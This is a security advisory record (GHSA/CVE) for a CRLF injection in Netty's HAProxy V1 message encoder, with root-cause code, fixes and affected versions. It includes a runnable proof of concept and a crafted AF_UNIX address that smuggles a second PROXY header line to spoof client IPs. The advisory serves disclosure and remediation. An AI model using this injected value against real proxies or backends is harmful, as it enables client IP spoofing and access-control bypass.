CVE-2026-59919: Netty HAProxy V1 Protocol CRLF Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wh89-7897-x99h",
  "modified" : "2026-07-22T21:51:40Z",
  "published" : "2026-07-22T21:51:40Z",
  "aliases" : [ "CVE-2026-59919" ],
  "summary" : "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address",
  "details" : "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` — `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` — constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause — Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n    out.writeBytes(TEXT_PREFIX);                                    // \"PROXY \"\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK\n    out.writeByte((byte) ' ');\n    // ...\n    out.writeByte((byte) '\\r');\n    out.writeByte((byte) '\\n');\n}\n```\n\n### Root Cause — Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n    switch (addrFamily) {\n        case AF_UNIX:\n            ObjectUtil.checkNotNull(address, \"address\");\n            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {\n                throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n            }\n            return;  // ONLY checks length <= 108, NO CRLF validation!\n        case AF_IPv4:\n            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF\n        case AF_IPv6:\n            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF\n    }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length <= 108`** — any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty's `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n    HAProxyProtocolVersion.V1,\n    HAProxyCommand.PROXY,\n    HAProxyProxiedProtocol.UNIX_STREAM,\n    maliciousAddr,                    // CRLF-injected source address\n    \"/var/run/dest.sock\",\n    0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** — the backend believes the client is `10.0.0.1` when it's not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n        String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n        String destAddr = \"/var/run/dest.sock\";\n\n        HAProxyMessage msg = new HAProxyMessage(\n            HAProxyProtocolVersion.V1,\n            HAProxyCommand.PROXY,\n            HAProxyProxiedProtocol.UNIX_STREAM,\n            maliciousAddr, destAddr, 0, 0);\n\n        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n        ch.writeOutbound(msg);\n\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n\n        int proxyCount = 0;\n        for (String line : encoded.split(\"\\r\\n\")) {\n            if (line.startsWith(\"PROXY\")) proxyCount++;\n        }\n        System.out.println(\"PROXY lines: \" + proxyCount);\n        System.out.println(\"VULNERABLE: \" + (proxyCount > 1 ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n  Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n  Wire format:\n    PROXY UNIX_STREAM /var/run/app.sock\\r\n    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n  PROXY lines found: 2\n  VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n    ObjectUtil.checkNotNull(address, \"address\");\n    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n    if (addrBytes.length > 108) {\n        throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n    }\n    for (byte b : addrBytes) {\n        if (b == '\\r' || b == '\\n') {\n            throw new IllegalArgumentException(\n                \"AF_UNIX address contains prohibited CRLF character\");\n        }\n    }\n    return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n    for (int i = 0; i < address.length(); i++) {\n        char c = address.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == ' ') {\n            throw new HAProxyProtocolException(\n                \"V1 address contains prohibited character at index \" + i);\n        }\n    }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-haproxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.2.0.Final"
      }, {
        "fixed" : "4.2.16.Final"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.netty:netty-codec-haproxy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.136.Final"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/netty/netty"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-22T21:51:40Z",
    "nvd_published_at" : null
  }
}